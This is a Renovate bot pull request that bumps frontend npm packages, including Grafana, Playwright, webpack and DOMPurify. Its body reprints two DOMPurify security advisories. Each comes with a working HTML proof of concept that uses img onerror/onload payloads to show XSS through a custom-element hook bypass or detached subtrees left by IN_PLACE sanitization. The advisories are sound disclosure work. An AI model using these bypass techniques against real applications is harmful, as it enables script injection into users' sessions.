Skip to content

fix(deps): update frontend dependencies - #788

Open
renovate-sh-app[bot] wants to merge 1 commit into
mainfrom
renovate/frontend-dependencies
Open

fix(deps): update frontend dependencies#788
renovate-sh-app[bot] wants to merge 1 commit into
mainfrom
renovate/frontend-dependencies

Conversation

@renovate-sh-app

@renovate-sh-app renovate-sh-app Bot commented Jul 21, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
@axe-core/playwright 4.12.1 → 4.13.0 age confidence
@babel/core (source) 7.29.6 → 7.29.7 age confidence
@changesets/cli (source) 2.31.0 → 2.31.1 age confidence
@grafana/data (source) 13.1.1 → 13.2.0 age confidence
@grafana/e2e-selectors (source) 13.1.1 → 13.2.0 age confidence
@grafana/i18n (source) 13.1.1 → 13.2.0 age confidence
@grafana/plugin-ui 0.17.3 → 0.17.4 age confidence
@grafana/runtime (source) 13.1.1 → 13.2.0 age confidence
@grafana/schema (source) 13.1.1 → 13.2.0 age confidence
@grafana/ui (source) 13.1.1 → 13.2.0 age confidence
@openfeature/core 1.11.0 → 1.12.0 age confidence
@openfeature/web-sdk 1.9.0 → 1.10.0 age confidence
@playwright/test (source) 1.61.1 → 1.62.1 age confidence
@remix-run/router (source) 1.23.3 → 1.23.4 age confidence
@swc/core (source) 1.15.43 → 1.16.1 age confidence
@testing-library/user-event 14.6.1 → 14.6.6 age confidence
@types/lodash (source) 4.17.24 → 4.17.25 age confidence
@typescript-eslint/eslint-plugin (source) 8.63.0 → 8.68.0 age confidence
@typescript-eslint/parser (source) 8.63.0 → 8.68.0 age confidence
cspell (source) 10.0.1 → 10.1.1 age confidence
dompurify 3.4.11 → 3.4.13 age confidence
i18next (source) 26.3.6 → 26.4.0 age confidence
npm (source) 11.17.0 → 11.19.0 age confidence
prettier (source) 3.9.5 → 3.9.6 age confidence
sass 1.101.0 → 1.103.1 age confidence
serialize-javascript 7.0.7 → 7.1.0 age confidence
webpack 5.108.4 → 5.109.2 age confidence
webpack-cli (source) 7.2.1 → 7.2.2 age confidence

DOMPurify: CUSTOM_ELEMENT_HANDLING bypasses afterSanitizeElements for allowed custom elements.

GHSA-c2j3-45gr-mqc4

More information

Details

Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.

When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.

Details

The issue appears to originate from the control flow in src/purify.ts: line 1672~1691

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748

const customElementHandling =
      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
      cfg.CUSTOM_ELEMENT_HANDLING &&
      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)
        : create(null);

    CUSTOM_ELEMENT_HANDLING = create(null);

In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.

During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814

/* Remove element if anything forbids its presence */
    if (
      FORBID_TAGS[tagName] ||
      (!(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
      ) &&
        !ALLOWED_TAGS[tagName])
    ) {
      return _sanitizeDisallowedNode(currentNode, tagName);
    }

If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.

Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.

That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:

  • the namespace validation at src/purify.ts: line 1816~1826
* Check whether element has a valid namespace.
       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
       nodeType getter rather than `instanceof Element`, which is realm-
       bound and short-circuits to false for any node minted in a different
       realm — letting a foreign-realm element with a forbidden namespace
       slip past the namespace check entirely. */
    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
    if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
      _forceRemove(currentNode);
      return true;
    }
  • the fallback-tag mXSS check at src/purify.ts: line 1828~1837
/* Make sure that older browsers don't get fallback-tag mXSS */
    if (
      (tagName === 'noscript' ||
        tagName === 'noembed' ||
        tagName === 'noframes') &&
      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
    ) {
      _forceRemove(currentNode);
      return true;
    }
  • most importantly for this report, the afterSanitizeElements hook dispatch at src/purify.ts: line 1850~1851.
   /* Execute a hook if present */
    _executeHooks(hooks.afterSanitizeElements, currentNode, null);

In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.

In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.

PoC

Reproduced on DOMPurify 3.4.11.

Steps
  1. Save the following HTML to a file, for example poc.html.
  2. Open it in a browser.
  3. Observe that the div control loses data-bio, while the allowed custom element keeps it.
  4. Observe that after connectedCallback() runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.
HTML PoC
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>

<script>
window.__controlFired = false;
window.__candidateFired = false;

customElements.define("x-bio", class extends HTMLElement {
  connectedCallback() {
    const bio = this.getAttribute("data-bio");
    if (bio) this.innerHTML = bio;
  }
});

DOMPurify.addHook("afterSanitizeElements", node => {
  if (node.hasAttribute && node.hasAttribute("data-bio")) {
    node.removeAttribute("data-bio");
  }
});

const config = {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^x-/
  }
};

const controlInput =
  '<div data-bio="&lt;img src=x onerror=window.__controlFired=true&gt;"></div>';

const candidateInput =
  '<x-bio data-bio="&lt;img src=x onerror=window.__candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);

setTimeout(() => {
  document.getElementById("result").textContent =
    "This is not direct DOMPurify XSS.\n" +
    "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
    "control: " + cleanControl + "\n" +
    "candidate: " + cleanCandidate + "\n" +
    "after connectedCallback: " + container.innerHTML + "\n" +
    "control fired: " + window.__controlFired + "\n" +
    "candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>
Expected result
control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true

This is output of HTML PoC.

poc
Impact

This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.

The impact is limited to applications that:

  • enable CUSTOM_ELEMENT_HANDLING,
  • rely on afterSanitizeElements as a security policy layer,
  • expect that hook to apply uniformly to all surviving elements,
  • and have allowed custom elements that later re-inject preserved attribute values into innerHTML or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.

Possible fixes or mitigations might include

  • ensuring that allowed custom elements also consistently pass through afterSanitizeElements
  • documenting clearly that elements preserved via CUSTOM_ELEMENT_HANDLING may not participate in the same post-element hook flow as normal allowlisted elements.

Severity

  • CVSS Score: 2.1 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS

GHSA-55q2-fjhq-7xh7

More information

Details

Summary

During IN_PLACE sanitization, a hook that removes an element can leave that element's detached descendants executable. A descendant image can retain its attacker-provided onload handler and fire after sanitize() returns, even though the returned root is clean and the image remains disconnected from the document.

Details

In DOMPurify 3.4.12, _sanitizeElements() in src/purify.ts:1862-1904 runs the beforeSanitizeElements or uponSanitizeElement hook and returns immediately when the hook detached the current node. The return does not call _neutralizeSubtree(currentNode).

The detached subtree is not added to DOMPurify.removed, so the post-walk IN_PLACE neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization.

The hook only rejects the containing element and does not add or approve the event handler. DOMPurify's ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization.

PoC

Load the published dompurify@3.4.12 dist/purify.js before this script in Chromium:

<div id="result">not fired</div>
<script>
const root = document.createElement('div');
root.innerHTML = `
  <footer>
    <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"
         onload="result.textContent = 'XSS after sanitize'">
  </footer>
  <div>safe</div>`;

DOMPurify.setConfig({
  ALLOWED_TAGS: ['div', '#text', 'footer'],
  IN_PLACE: true
});
DOMPurify.addHook('uponSanitizeElement', node => {
  if (node.tagName === 'FOOTER') node.remove();
});

DOMPurify.sanitize(root);
document.body.append(root);
</script>

sanitize() returns with no handler execution and the returned root contains only the safe div. After the event loop advances, the original image remains disconnected but its retained onload changes the page to XSS after sanitize.

As the claim-matched control, use the same detached input with ALLOWED_TAGS: ['div', '#text'] and no hook. DOMPurify's ordinary removal path removes the original image's handler, the returned root is still <div>safe</div>, and the marker does not fire.

Impact

In an application that uses IN_PLACE with the documented element-removal hook pattern, an attacker who can supply HTML can execute JavaScript in the integrating application's origin after the application sanitizes and renders that content.

The required non-default configuration is IN_PLACE plus a hook that removes a containing element. The hook does not add or approve the event handler, and the dirty root never needs to be connected before sanitization.

Suggested fix

Reuse the existing _neutralizeSubtree(currentNode) helper before returning from both hook-detachment branches in _sanitizeElements(). Add regressions for beforeSanitizeElements and uponSanitizeElement that retain a reference to a descendant resource element and verify that its event handler is removed after the hook detaches its ancestor.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

DOMPurify: CUSTOM_ELEMENT_HANDLING bypasses afterSanitizeElements for allowed custom elements.

CVE-2026-66010 / GHSA-c2j3-45gr-mqc4

More information

Details

Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.

When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.

Details

The issue appears to originate from the control flow in src/purify.ts: line 1672~1691

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748

const customElementHandling =
      objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
      cfg.CUSTOM_ELEMENT_HANDLING &&
      typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
        ? clone(cfg.CUSTOM_ELEMENT_HANDLING)
        : create(null);

    CUSTOM_ELEMENT_HANDLING = create(null);

In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.

During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814

/* Remove element if anything forbids its presence */
    if (
      FORBID_TAGS[tagName] ||
      (!(
        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
      ) &&
        !ALLOWED_TAGS[tagName])
    ) {
      return _sanitizeDisallowedNode(currentNode, tagName);
    }

If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.

Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692

const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
        regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
      ) {
        return false;
      }

      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
        CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
      ) {
        return false;
      }
    }

If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.

That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:

  • the namespace validation at src/purify.ts: line 1816~1826
* Check whether element has a valid namespace.
       Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
       nodeType getter rather than `instanceof Element`, which is realm-
       bound and short-circuits to false for any node minted in a different
       realm — letting a foreign-realm element with a forbidden namespace
       slip past the namespace check entirely. */
    const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
    if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
      _forceRemove(currentNode);
      return true;
    }
  • the fallback-tag mXSS check at src/purify.ts: line 1828~1837
/* Make sure that older browsers don't get fallback-tag mXSS */
    if (
      (tagName === 'noscript' ||
        tagName === 'noembed' ||
        tagName === 'noframes') &&
      regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
    ) {
      _forceRemove(currentNode);
      return true;
    }
  • most importantly for this report, the afterSanitizeElements hook dispatch at src/purify.ts: line 1850~1851.
   /* Execute a hook if present */
    _executeHooks(hooks.afterSanitizeElements, currentNode, null);

In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.

In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.

PoC

Reproduced on DOMPurify 3.4.11.

Steps
  1. Save the following HTML to a file, for example poc.html.
  2. Open it in a browser.
  3. Observe that the div control loses data-bio, while the allowed custom element keeps it.
  4. Observe that after connectedCallback() runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.
HTML PoC
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>

<script>
window.__controlFired = false;
window.__candidateFired = false;

customElements.define("x-bio", class extends HTMLElement {
  connectedCallback() {
    const bio = this.getAttribute("data-bio");
    if (bio) this.innerHTML = bio;
  }
});

DOMPurify.addHook("afterSanitizeElements", node => {
  if (node.hasAttribute && node.hasAttribute("data-bio")) {
    node.removeAttribute("data-bio");
  }
});

const config = {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: /^x-/
  }
};

const controlInput =
  '<div data-bio="&lt;img src=x onerror=window.__controlFired=true&gt;"></div>';

const candidateInput =
  '<x-bio data-bio="&lt;img src=x onerror=window.__candidateFired=true&gt;"></x-bio>';

const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);

const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);

setTimeout(() => {
  document.getElementById("result").textContent =
    "This is not direct DOMPurify XSS.\n" +
    "The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
    "control: " + cleanControl + "\n" +
    "candidate: " + cleanCandidate + "\n" +
    "after connectedCallback: " + container.innerHTML + "\n" +
    "control fired: " + window.__controlFired + "\n" +
    "candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>
Expected result
control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true

This is output of HTML PoC.

poc
Impact

This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.

The impact is limited to applications that:

  • enable CUSTOM_ELEMENT_HANDLING,
  • rely on afterSanitizeElements as a security policy layer,
  • expect that hook to apply uniformly to all surviving elements,
  • and have allowed custom elements that later re-inject preserved attribute values into innerHTML or another HTML sink.

In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.

Possible fixes or mitigations might include

  • ensuring that allowed custom elements also consistently pass through afterSanitizeElements
  • documenting clearly that elements preserved via CUSTOM_ELEMENT_HANDLING may not participate in the same post-element hook flow as normal allowlisted elements.

Severity

  • CVSS Score: 2.1 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS

CVE-2026-75838 / GHSA-55q2-fjhq-7xh7

More information

Details

Summary

During IN_PLACE sanitization, a hook that removes an element can leave that element's detached descendants executable. A descendant image can retain its attacker-provided onload handler and fire after sanitize() returns, even though the returned root is clean and the image remains disconnected from the document.

Details

In DOMPurify 3.4.12, _sanitizeElements() in src/purify.ts:1862-1904 runs the beforeSanitizeElements or uponSanitizeElement hook and returns immediately when the hook detached the current node. The return does not call _neutralizeSubtree(currentNode).

The detached subtree is not added to DOMPurify.removed, so the post-walk IN_PLACE neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization.

The hook only rejects the containing element and does not add or approve the event handler. DOMPurify's ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization.

PoC

Load the published dompurify@3.4.12 dist/purify.js before this script in Chromium:

<div id="result">not fired</div>
<script>
const root = document.createElement('div');
root.innerHTML = `
  <footer>
    <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"
         onload="result.textContent = 'XSS after sanitize'">
  </footer>
  <div>safe</div>`;

DOMPurify.setConfig({
  ALLOWED_TAGS: ['div', '#text', 'footer'],
  IN_PLACE: true
});
DOMPurify.addHook('uponSanitizeElement', node => {
  if (node.tagName === 'FOOTER') node.remove();
});

DOMPurify.sanitize(root);
document.body.append(root);
</script>

sanitize() returns with no handler execution and the returned root contains only the safe div. After the event loop advances, the original image remains disconnected but its retained onload changes the page to XSS after sanitize.

As the claim-matched control, use the same detached input with ALLOWED_TAGS: ['div', '#text'] and no hook. DOMPurify's ordinary removal path removes the original image's handler, the returned root is still <div>safe</div>, and the marker does not fire.

Impact

In an application that uses IN_PLACE with the documented element-removal hook pattern, an attacker who can supply HTML can execute JavaScript in the integrating application's origin after the application sanitizes and renders that content.

The required non-default configuration is IN_PLACE plus a hook that removes a containing element. The hook does not add or approve the event handler, and the dirty root never needs to be connected before sanitization.

Suggested fix

Reuse the existing _neutralizeSubtree(currentNode) helper before returning from both hook-detachment branches in _sanitizeElements(). Add regressions for beforeSanitizeElements and uponSanitizeElement that retain a reference to a descendant resource element and verify that its event handler is removed after the hook detaches its ancestor.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

dequelabs/axe-core-npm (@​axe-core/playwright)

v4.13.0

Compare Source

Features
babel/babel (@​babel/core)

v7.29.7

Compare Source

v7.29.7 (2026-05-25)

Re-release all packages with npm provenance attestations

changesets/changesets (@​changesets/cli)

v2.31.1

Compare Source

Patch Changes
  • #​2159 15cf592 Thanks @​ingvaldlorentzen! - Fixed already-published version detection with npm 12, which always wraps successful npm info --json output in an array. The unwrapped output made changeset publish treat every package as unpublished and fail attempting to republish existing versions.
grafana/grafana (@​grafana/data)

v13.2.0: 13.2.0

Compare Source

Download page
What's new highlights

Security
Features and enhancements

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 Immortal: This PR will be recreated if closed unmerged. Get config help if that's undesired.

  • If you want to rebase/retry this PR, check this box

Need help?

You can ask for more help in the following Slack channel: #proj-renovate-self-hosted. In that channel you can also find ADR and FAQ docs in the Resources section.

@renovate-sh-app
renovate-sh-app Bot requested a review from a team as a code owner July 21, 2026 22:02
@renovate-sh-app
renovate-sh-app Bot force-pushed the renovate/frontend-dependencies branch 5 times, most recently from 4af2acb to 74bbeea Compare July 24, 2026 10:01
@renovate-sh-app
renovate-sh-app Bot enabled auto-merge (squash) July 24, 2026 10:01
@renovate-sh-app
renovate-sh-app Bot force-pushed the renovate/frontend-dependencies branch 10 times, most recently from c1d3760 to 6aa3bc6 Compare July 31, 2026 22:01
@renovate-sh-app
renovate-sh-app Bot force-pushed the renovate/frontend-dependencies branch from 6aa3bc6 to 2fa5639 Compare August 1, 2026 10:02
@renovate-sh-app
renovate-sh-app Bot force-pushed the renovate/frontend-dependencies branch 9 times, most recently from ea8a358 to a5f2fd0 Compare August 15, 2026 01:03
@renovate-sh-app
renovate-sh-app Bot force-pushed the renovate/frontend-dependencies branch 13 times, most recently from ece4b51 to c4258e4 Compare August 24, 2026 01:02
@renovate-sh-app
renovate-sh-app Bot force-pushed the renovate/frontend-dependencies branch 3 times, most recently from 403c8b4 to 6558e99 Compare August 25, 2026 13:02
@renovate-sh-app

renovate-sh-app Bot commented Aug 25, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor Author

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: package-lock.json
npm warn Unknown env config "store". This will stop working in the next major version of npm. See `npm help npmrc` for supported config options.
npm error code ERESOLVE
npm error ERESOLVE unable to resolve dependency tree
npm error
npm error While resolving: grafana-github-datasource@2.9.0
npm error Found: react@18.3.1
npm error node_modules/react
npm error   react@"18.3.1" from the root project
npm error
npm error Could not resolve dependency:
npm error peer react@">=19" from @grafana/data@13.2.0
npm error node_modules/@grafana/data
npm error   @grafana/data@"13.2.0" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry this command with --force or --legacy-peer-deps to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /tmp/renovate/cache/others/npm/_logs/2026-08-29T01_03_09_865Z-eresolve-report.txt
npm error A complete log of this run can be found in: /tmp/renovate/cache/others/npm/_logs/2026-08-29T01_03_09_865Z-debug-0.log

@renovate-sh-app
renovate-sh-app Bot force-pushed the renovate/frontend-dependencies branch 2 times, most recently from 2132e3d to 89016ff Compare August 27, 2026 19:02
@renovate-sh-app
fix(deps): update frontend dependencies
3f9757b 
| datasource | package                          | from    | to      |
| ---------- | -------------------------------- | ------- | ------- |
| npm        | @axe-core/playwright             | 4.12.1  | 4.13.0  |
| npm        | @babel/core                      | 7.29.6  | 7.29.7  |
| npm        | @changesets/cli                  | 2.31.0  | 2.31.1  |
| npm        | @grafana/data                    | 13.1.1  | 13.2.0  |
| npm        | @grafana/e2e-selectors           | 13.1.1  | 13.2.0  |
| npm        | @grafana/i18n                    | 13.1.1  | 13.2.0  |
| npm        | @grafana/plugin-ui               | 0.17.3  | 0.17.4  |
| npm        | @grafana/runtime                 | 13.1.1  | 13.2.0  |
| npm        | @grafana/schema                  | 13.1.1  | 13.2.0  |
| npm        | @grafana/ui                      | 13.1.1  | 13.2.0  |
| npm        | @openfeature/core                | 1.11.0  | 1.12.0  |
| npm        | @openfeature/web-sdk             | 1.9.0   | 1.10.0  |
| npm        | @playwright/test                 | 1.61.1  | 1.62.1  |
| npm        | @remix-run/router                | 1.23.3  | 1.23.4  |
| npm        | @swc/core                        | 1.15.43 | 1.16.1  |
| npm        | @testing-library/user-event      | 14.6.1  | 14.6.6  |
| npm        | @types/lodash                    | 4.17.24 | 4.17.25 |
| npm        | @typescript-eslint/eslint-plugin | 8.63.0  | 8.68.0  |
| npm        | @typescript-eslint/parser        | 8.63.0  | 8.68.0  |
| npm        | cspell                           | 10.0.1  | 10.1.1  |
| npm        | dompurify                        | 3.4.11  | 3.4.13  |
| npm        | i18next                          | 26.3.6  | 26.4.0  |
| npm        | npm                              | 11.17.0 | 11.19.0 |
| npm        | prettier                         | 3.9.5   | 3.9.6   |
| npm        | sass                             | 1.101.0 | 1.103.1 |
| npm        | serialize-javascript             | 7.0.7   | 7.1.0   |
| npm        | webpack                          | 5.108.4 | 5.109.2 |
| npm        | webpack-cli                      | 7.2.1   | 7.2.2   |


Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
@renovate-sh-app
renovate-sh-app Bot force-pushed the renovate/frontend-dependencies branch from 89016ff to 3f9757b Compare August 28, 2026 07:02
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

automerge-minor automerge-patch automerge-security-update severity: update-minor update-patch

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

1 participant

@adamyeats